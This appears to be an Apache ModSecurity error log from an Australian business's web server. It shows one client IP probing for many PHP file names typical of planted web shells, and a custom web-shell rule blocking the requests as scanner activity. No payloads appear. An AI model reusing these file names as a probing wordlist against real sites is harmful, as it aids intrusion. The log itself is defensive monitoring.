[Fri Apr 24 05:24:27.853887 2026] [:error] [pid 19100:tid 19120] [client 20.216.186.228:43256] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeqOC7F_hzQs4Cqbiff-bAAAAAo"]
[Fri Apr 24 05:24:28.429780 2026] [:error] [pid 19100:tid 19112] [client 20.216.186.228:62828] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeqODLF_hzQs4Cqbiff-bwAAAAM"]
[Fri Apr 24 05:24:28.994795 2026] [:error] [pid 19100:tid 19114] [client 20.216.186.228:62814] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeqODLF_hzQs4Cqbiff-cQAAAAU"]
[Fri Apr 24 05:24:29.598857 2026] [:error] [pid 19100:tid 19111] [client 20.216.186.228:51273] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeqODbF_hzQs4Cqbiff-cwAAAAI"]
[Fri Apr 24 05:24:30.410572 2026] [:error] [pid 19102:tid 19176] [client 20.216.186.228:9997] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeqODgDSgrbLEZbkqD6w4wAAAIw"]
[Fri Apr 24 05:24:31.013581 2026] [:error] [pid 19102:tid 19178] [client 20.216.186.228:47963] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeqODwDSgrbLEZbkqD6w5gAAAI4"]
[Fri Apr 24 05:24:31.813803 2026] [:error] [pid 19102:tid 19172] [client 20.216.186.228:59882] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeqODwDSgrbLEZbkqD6w6gAAAIg"]
[Fri Apr 24 05:24:32.557117 2026] [:error] [pid 19102:tid 19175] [client 20.216.186.228:9222] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeqOEADSgrbLEZbkqD6w7QAAAIs"]
[Fri Apr 24 05:24:33.486341 2026] [:error] [pid 19102:tid 19173] [client 20.216.186.228:58966] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeqOEQDSgrbLEZbkqD6w8wAAAIk"]
[Fri Apr 24 05:24:34.174154 2026] [:error] [pid 19200:tid 19228] [client 20.216.186.228:9995] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeqOEjQ--M3-tsKAnhGI4gAAANQ"]
[Fri Apr 24 05:24:35.096745 2026] [:error] [pid 19101:tid 19142] [client 20.216.186.228:59860] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "aeqOE2AHj9bEvrTgbO3DaQAAAEU"]
[Fri Apr 24 05:24:35.920171 2026] [:error] [pid 19200:tid 19224] [client 20.216.186.228:51321] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "aeqOEzQ--M3-tsKAnhGI6AAAANA"]
[Fri Apr 24 05:24:36.937495 2026] [:error] [pid 52129:tid 52139] [client 20.216.186.228:62797] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "aeqOFOKCZKf8_u2LKiBDDwAAAQY"]
[Fri Apr 24 05:24:38.328830 2026] [:error] [pid 19101:tid 19152] [client 20.216.186.228:57648] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "aeqOFmAHj9bEvrTgbO3DcAAAAE8"]
[Fri Apr 24 05:24:39.064600 2026] [:error] [pid 19101:tid 19143] [client 20.216.186.228:53357] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "aeqOF2AHj9bEvrTgbO3DcwAAAEY"]
[Fri Apr 24 05:24:39.695465 2026] [:error] [pid 52129:tid 52144] [client 20.216.186.228:53355] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeqOF-KCZKf8_u2LKiBDFgAAAQs"]
[Fri Apr 24 05:24:40.413073 2026] [:error] [pid 52129:tid 52146] [client 20.216.186.228:51322] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeqOGOKCZKf8_u2LKiBDGwAAAQ0"]
[Fri Apr 24 05:24:41.090142 2026] [:error] [pid 19101:tid 19151] [client 20.216.186.228:53315] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeqOGWAHj9bEvrTgbO3DdgAAAE4"]
[Fri Apr 24 05:24:41.892529 2026] [:error] [pid 19101:tid 19148] [client 20.216.186.228:62790] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeqOGWAHj9bEvrTgbO3DeQAAAEs"]
[Fri Apr 24 05:24:42.458599 2026] [:error] [pid 19200:tid 19210] [client 20.216.186.228:10013] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeqOGjQ--M3-tsKAnhGI8QAAAMI"]
[Fri Apr 24 05:24:43.362706 2026] [:error] [pid 19100:tid 19122] [client 20.216.186.228:59853] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeqOG7F_hzQs4Cqbiff-hwAAAAw"]
[Fri Apr 24 05:24:44.005702 2026] [:error] [pid 19102:tid 19183] [client 20.216.186.228:62508] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeqOHADSgrbLEZbkqD6w_AAAAJM"]
[Fri Apr 24 05:24:44.609780 2026] [:error] [pid 19101:tid 19148] [client 20.216.186.228:51552] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeqOHGAHj9bEvrTgbO3DhwAAAEs"]
[Fri Apr 24 05:24:45.308455 2026] [:error] [pid 19200:tid 19232] [client 20.216.186.228:62831] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "aeqOHTQ--M3-tsKAnhGI9AAAANg"]
[Fri Apr 24 05:24:46.083805 2026] [:error] [pid 19100:tid 19118] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Fri Apr 24 05:24:46.322697 2026] [:error] [pid 19100:tid 19112] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Fri Apr 24 05:24:46.561654 2026] [:error] [pid 19100:tid 19125] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/acc.php
[Fri Apr 24 05:24:46.808517 2026] [:error] [pid 19100:tid 19123] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Fri Apr 24 05:24:47.047090 2026] [:error] [pid 19100:tid 19134] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Fri Apr 24 05:24:47.407824 2026] [:error] [pid 19100:tid 19128] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Fri Apr 24 05:24:47.646666 2026] [:error] [pid 19100:tid 19126] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Fri Apr 24 05:24:47.885756 2026] [:error] [pid 19100:tid 19133] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Fri Apr 24 05:24:48.124928 2026] [:error] [pid 19100:tid 19121] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Fri Apr 24 05:24:48.365120 2026] [:error] [pid 19100:tid 19119] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Fri Apr 24 05:24:48.610472 2026] [:error] [pid 19100:tid 19131] [client 20.216.186.228:9227] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Fri Apr 24 05:24:48.847873 2026] [:error] [pid 19100:tid 19122] [client 20.216.186.228:9227] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeqOILF_hzQs4Cqbiff-mgAAAAw"]
[Fri Apr 24 05:24:49.795696 2026] [:error] [pid 19102:tid 19180] [client 20.216.186.228:57655] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeqOIQDSgrbLEZbkqD6xBQAAAJA"]
[Fri Apr 24 05:24:50.925210 2026] [:error] [pid 19102:tid 19185] [client 20.216.186.228:59887] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeqOIgDSgrbLEZbkqD6xCQAAAJU"]
[Fri Apr 24 05:24:52.021027 2026] [:error] [pid 19102:tid 19170] [client 20.216.186.228:51299] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeqOJADSgrbLEZbkqD6xCwAAAIY"]
[Fri Apr 24 05:24:52.754141 2026] [:error] [pid 19100:tid 19113] [client 20.216.186.228:9987] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeqOJLF_hzQs4Cqbiff-nAAAAAQ"]
[Fri Apr 24 05:24:53.416687 2026] [:error] [pid 19102:tid 19174] [client 20.216.186.228:59872] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeqOJQDSgrbLEZbkqD6xDgAAAIo"]
[Fri Apr 24 05:24:54.373334 2026] [:error] [pid 19102:tid 19166] [client 20.216.186.228:57633] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeqOJgDSgrbLEZbkqD6xEQAAAII"]
[Fri Apr 24 05:24:56.135505 2026] [:error] [pid 19200:tid 19210] [client 20.216.186.228:43234] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeqOKDQ--M3-tsKAnhGJCQAAAMI"]
[Fri Apr 24 05:24:58.180517 2026] [:error] [pid 19102:tid 19176] [client 20.216.186.228:57623] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeqOKgDSgrbLEZbkqD6xGAAAAIw"]
[Fri Apr 24 05:25:00.401322 2026] [:error] [pid 52129:tid 52134] [client 20.216.186.228:62483] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeqOLOKCZKf8_u2LKiBDMgAAAQE"]
[Fri Apr 24 05:25:02.899026 2026] [:error] [pid 52129:tid 52145] [client 20.216.186.228:10006] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeqOLuKCZKf8_u2LKiBDOQAAAQw"]
[Fri Apr 24 05:25:04.838020 2026] [:error] [pid 52129:tid 52149] [client 20.216.186.228:51305] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeqOMOKCZKf8_u2LKiBDRAAAARA"]
[Fri Apr 24 05:25:06.773872 2026] [:error] [pid 19200:tid 19208] [client 20.216.186.228:62499] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeqOMjQ--M3-tsKAnhGJGQAAAMA"]
[Fri Apr 24 05:25:08.702179 2026] [:error] [pid 19102:tid 19174] [client 20.216.186.228:57627] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeqONADSgrbLEZbkqD6xIgAAAIo"]
[Fri Apr 24 05:25:10.359223 2026] [:error] [pid 19102:tid 19166] [client 20.216.186.228:9220] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeqONgDSgrbLEZbkqD6xIwAAAII"]
[Fri Apr 24 05:25:12.280662 2026] [:error] [pid 19200:tid 19208] [client 20.216.186.228:53316] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeqOODQ--M3-tsKAnhGJJwAAAMA"]
[Fri Apr 24 05:25:14.618271 2026] [:error] [pid 19101:tid 19144] [client 20.216.186.228:53312] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aeqOOmAHj9bEvrTgbO3DqgAAAEc"]
[Fri Apr 24 05:25:16.922152 2026] [:error] [pid 52129:tid 52133] [client 20.216.186.228:43244] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aeqOPOKCZKf8_u2LKiBDhAAAAQA"]
[Fri Apr 24 05:25:18.577020 2026] [:error] [pid 52129:tid 52151] [client 20.216.186.228:51281] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aeqOPuKCZKf8_u2LKiBDjgAAARI"]
[Fri Apr 24 05:25:19.942393 2026] [:error] [pid 19102:tid 19179] [client 20.216.186.228:9277] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aeqOPwDSgrbLEZbkqD6xNgAAAI8"]
[Fri Apr 24 05:25:21.138719 2026] [:error] [pid 52129:tid 52137] [client 20.216.186.228:10011] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeqOQeKCZKf8_u2LKiBDnwAAAQQ"]
[Fri Apr 24 05:25:23.042153 2026] [:error] [pid 52129:tid 52135] [client 20.216.186.228:43230] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeqOQ-KCZKf8_u2LKiBDrQAAAQI"]
[Fri Apr 24 05:25:24.704534 2026] [:error] [pid 19200:tid 19213] [client 20.216.186.228:51294] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeqORDQ--M3-tsKAnhGJQwAAAMU"]
[Fri Apr 24 05:25:25.623600 2026] [:error] [pid 19200:tid 19221] [client 20.216.186.228:58957] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aeqORTQ--M3-tsKAnhGJSAAAAM0"]
[Fri Apr 24 05:25:26.243048 2026] [:error] [pid 19200:tid 19226] [client 20.216.186.228:51287] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeqORjQ--M3-tsKAnhGJTQAAANI"]
[Fri Apr 24 05:25:27.026912 2026] [:error] [pid 52129:tid 52136] [client 20.216.186.228:58989] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeqOR-KCZKf8_u2LKiBDswAAAQM"]
[Fri Apr 24 05:25:27.946131 2026] [:error] [pid 52129:tid 52154] [client 20.216.186.228:9268] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeqOR-KCZKf8_u2LKiBDtwAAARU"]
